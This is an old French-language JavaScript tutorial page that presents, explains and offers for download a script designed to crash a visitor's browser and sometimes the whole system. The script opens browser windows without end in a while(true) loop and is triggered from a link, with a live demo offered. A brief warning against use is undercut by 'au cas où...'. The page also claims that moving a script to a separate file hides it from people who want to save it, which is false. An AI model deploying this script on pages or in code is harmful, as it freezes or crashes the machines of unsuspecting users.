Membre de ClickFR, Reseau francophone Paie-Par-Click
Accueil
Accueil
- [ CSS : ] [ DHTML : ] [ HTML : ] [ JavaScript : ] [ Refs : ]
Accueil

JavaScript 1.3

  Comment planter le navigateur et parfois le système

fonction  principe  le script lui-meme  demonstration  telechargement du script 

  Fonction
ATTENTION !! Ce script est susceptible de planter le système de l'utilisateur !!
On va dire qu'il ne faut donc pas l'utiliser mais au cas où...
Pour planter le système, par l'intermédiaire du navigateur, il faut simplement saturer la mémoire vive. Comment ? en ouvrant un nombre infini de fenêtre du navigateur.
Sur Windows NT vous avez une chance d'en réchapper grâce au gestionnaire des tâches (demandez une fin de tâche de l'occurence de départ du navigateur - le titre est 'Plantage du système...').
  Principe
On choisit un nombre au hasard dont on fera le nom de chaque fenêtre du navigateur ouverte.
On ouvre une fenêtre portant ce nom et on relance la génération de nombre alléatoire.
Cette action sera lancétant qu'une condition sera vraie. Quelle condition ? 'true'. Imparable ;-)

Le résultat se fera attendre suivant la quantité de mémoire vive et le système de l'ordinateur du visiteur.
  • Netscape MacOS : blocage du navigateur, sortie possible par Cmd+Option+Esc,
  • Internet Explorer MacOS : sortie propre, le navigateur signale l'insuffisance de mémoire,
  • Netscape Win98 : ,
  • Internet Explorer Win98 : ,
Merci à .net #50 pour ce script que je n'arrivais pas a faire lors de sa parution.
  Le script
dans la partie <head>
<script language="JavaScript">
function surdose() {
nom_fenetre = Math.round(Math.random()*500000);

while ( true ) {
window.open("fete_planter.html", nom_fenetre,'width=50,height=50');
nom_fenetre = Math.round(Math.random()*500000);
}
}
</script>

dans la partie <body>
<a href="#" OnClick="surdose();">Planter le système...</a>
  Démonstration

Voir la démonstration

  Téléchargement
Ce script est disponible en deux versions :
  • le script est intégré à la page où il agit,
  • le script est dans un fichier séparé de la page où il agit (fichier.js et fichier.html).

    L'intérêt d'un script dans un fichier séparé est de pouvoir le partager entre plusieurs pages html.
    Cela permet aussi de le rendre inaccessible à toute personne qui souhaiterai l'enregistrer pour une autre utilisation.
  • Script intégré :
    div_planter.zip
    1 Ko
    telechargez le script telechargez le script
    Script séparé :
    div_planter2.zip
    1 Ko
    Recherche
    aide sur la recherche
    hit-parade
    Votez TOP Ouaibe !

    statistiques
    aide sur les contacts aide sur la mailing-list aide sur la newsletter